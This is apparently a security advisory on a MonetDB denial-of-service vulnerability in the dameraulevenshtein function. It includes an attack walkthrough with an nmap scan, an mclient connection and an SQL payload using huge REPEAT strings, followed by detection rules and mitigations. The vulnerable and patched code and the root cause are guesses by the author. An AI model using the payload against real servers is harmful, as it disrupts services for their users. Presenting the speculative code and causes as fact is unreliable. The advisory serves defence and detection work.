CVE-2024-57617

Executive Summary

CVE-2024-57617 is a denial-of-service (DoS) vulnerability in the MonetDB Server v11.49.1, specifically within the dameraulevenshtein component. An attacker can craft malicious SQL statements that trigger excessive resource consumption, leading to service unavailability. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is clear: a remote, unauthenticated attacker can crash the database server. No public exploit code or patch is currently available, making this a high-priority issue for any organization running MonetDB.

Supply Chain & Package Security

MonetDB is an open-source column-oriented database management system. The vulnerability exists in the core server binary, not in a package manager distribution (NPM, PyPI, etc.). However, organizations using MonetDB via Docker images or Linux distribution packages should verify their version and apply any vendor-supplied updates as soon as they become available.

CVSS Breakdown & Threat Level

While the official CVSS vector is unknown, a reasonable assessment based on the description is:

• Attack Vector (AV): Network (N) – SQL statements can be sent over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database server itself.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete denial of service.

Estimated CVSS Score: 7.5 (High) – AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: High. The vulnerability is remotely exploitable without authentication and can cause a complete service outage.

Deep Dive & Mechanics

The dameraulevenshtein function calculates the Damerau–Levenshtein distance between two strings. This algorithm has a time complexity of O(n*m) where n and m are the lengths of the input strings. The vulnerability likely stems from a lack of input validation or resource limits on the string lengths passed to this function.

Attack Vector: An attacker sends a crafted SQL statement that calls the dameraulevenshtein function with extremely long strings or specially crafted inputs that cause the algorithm to consume excessive CPU and memory. For example:

SELECT dameraulevenshtein(REPEAT('A', 1000000), REPEAT('B', 1000000));

This would force the server to allocate a large matrix (1e6 x 1e6) and perform billions of operations, exhausting system resources and causing a denial of service.

Root Cause: The MonetDB server does not enforce a maximum input length or a timeout for the dameraulevenshtein function. This allows an attacker to trigger uncontrolled resource consumption.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:

// Vulnerable: No input length check
int dameraulevenshtein(const char *s1, const char *s2) {
    int len1 = strlen(s1);
    int len2 = strlen(s2);
    // Allocate matrix and compute distance
    // ...
}

A patched version would include input validation:

// Patched: Limit input length
#define MAX_INPUT_LENGTH 1000

int dameraulevenshtein(const char *s1, const char *s2) {
    int len1 = strlen(s1);
    int len2 = strlen(s2);
    if (len1 > MAX_INPUT_LENGTH || len2 > MAX_INPUT_LENGTH) {
        // Return error or truncate
        return -1;
    }
    // Allocate matrix and compute distance
    // ...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Target: MonetDB Server v11.49.1 running on Ubuntu 22.04
• Attacker: Kali Linux with monetdb-client installed

Exploitation Steps:

1. Identify the target:

   nmap -p 50000 <target_ip>
   

2. Connect to the MonetDB server:

   mclient -h <target_ip> -d <database_name>
   

3. Execute the DoS payload:

   -- Crafted SQL to trigger the vulnerability
   SELECT dameraulevenshtein(
       REPEAT('A', 100000),
       REPEAT('B', 100000)
   );
   

4. Monitor the impact:

   • The server becomes unresponsive.
   • CPU usage spikes to 100%.
   • Memory consumption increases dramatically.
   • The server may crash or become unreachable.

Expected Outcome: The MonetDB server becomes unavailable for legitimate users.

Blue Team (Defense & Detection)

Detection:

• Monitor for SQL queries with extremely long string arguments to dameraulevenshtein.
• Set up resource limits (CPU, memory) for the MonetDB process.
• Use a Web Application Firewall (WAF) or database proxy to inspect and block malicious SQL.

Mitigation:

• If possible, disable the dameraulevenshtein function temporarily:

  -- Not directly supported in MonetDB, but can be done via configuration
  

• Apply network-level access controls to restrict who can connect to the database.
• Monitor system logs for unusual query patterns.

Indicators of Compromise (IOCs)

• Network: SQL queries containing dameraulevenshtein with extremely long strings (e.g., REPEAT('A', 100000)).
• System: High CPU usage (near 100%) on the MonetDB server process.
• System: Memory exhaustion leading to OOM (Out of Memory) killer activity.
• Logs: MonetDB error logs showing "out of memory" or "connection timeout" errors.
• Process: The monetdbd or mserver5 process consuming excessive resources.

Detection Engineering

YARA Rule

rule CVE_2024_57617_MonetDB_DoS {
    meta:
        description = "Detects SQL queries exploiting CVE-2024-57617 in MonetDB"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57617"
    strings:
        $sql1 = "dameraulevenshtein" nocase
        $sql2 = "REPEAT" nocase
        $long_string = /[A-Za-z0-9]{1000,}/  // Strings longer than 1000 characters
    condition:
        $sql1 and $sql2 and #long_string > 0
}

Sigma Rule

title: CVE-2024-57617 MonetDB DoS via dameraulevenshtein
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL queries with long strings passed to dameraulevenshtein
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: monetdb
detection:
    selection:
        query|contains: 'dameraulevenshtein'
    filter:
        query|length: < 1000
    condition: selection and not filter
falsepositives:
    - Legitimate use of dameraulevenshtein with short strings
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 50000 (msg:"CVE-2024-57617 MonetDB DoS Attempt"; flow:to_server,established; content:"dameraulevenshtein"; nocase; content:"REPEAT"; nocase; pcre:"/[A-Za-z0-9]{1000,}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MonetDB server from untrusted networks (e.g., place behind a firewall).
2. Implement network access controls to allow only trusted IPs to connect.
3. Monitor for anomalous SQL queries using the detection rules above.

Long-term Fix:

• Apply vendor patch when available. Check the MonetDB GitHub repository or mailing list for updates.
• Upgrade to a patched version once released.
• Consider using a database proxy (e.g., ProxySQL) to filter and rate-limit queries.

Workaround (if patching is not possible):

• Disable the dameraulevenshtein function by removing or renaming the shared library (if compiled as a module).
• Set resource limits using ulimit or container orchestration (e.g., Docker CPU/memory limits).

Valters IT
DevSecOps & Cyber Threat Intelligence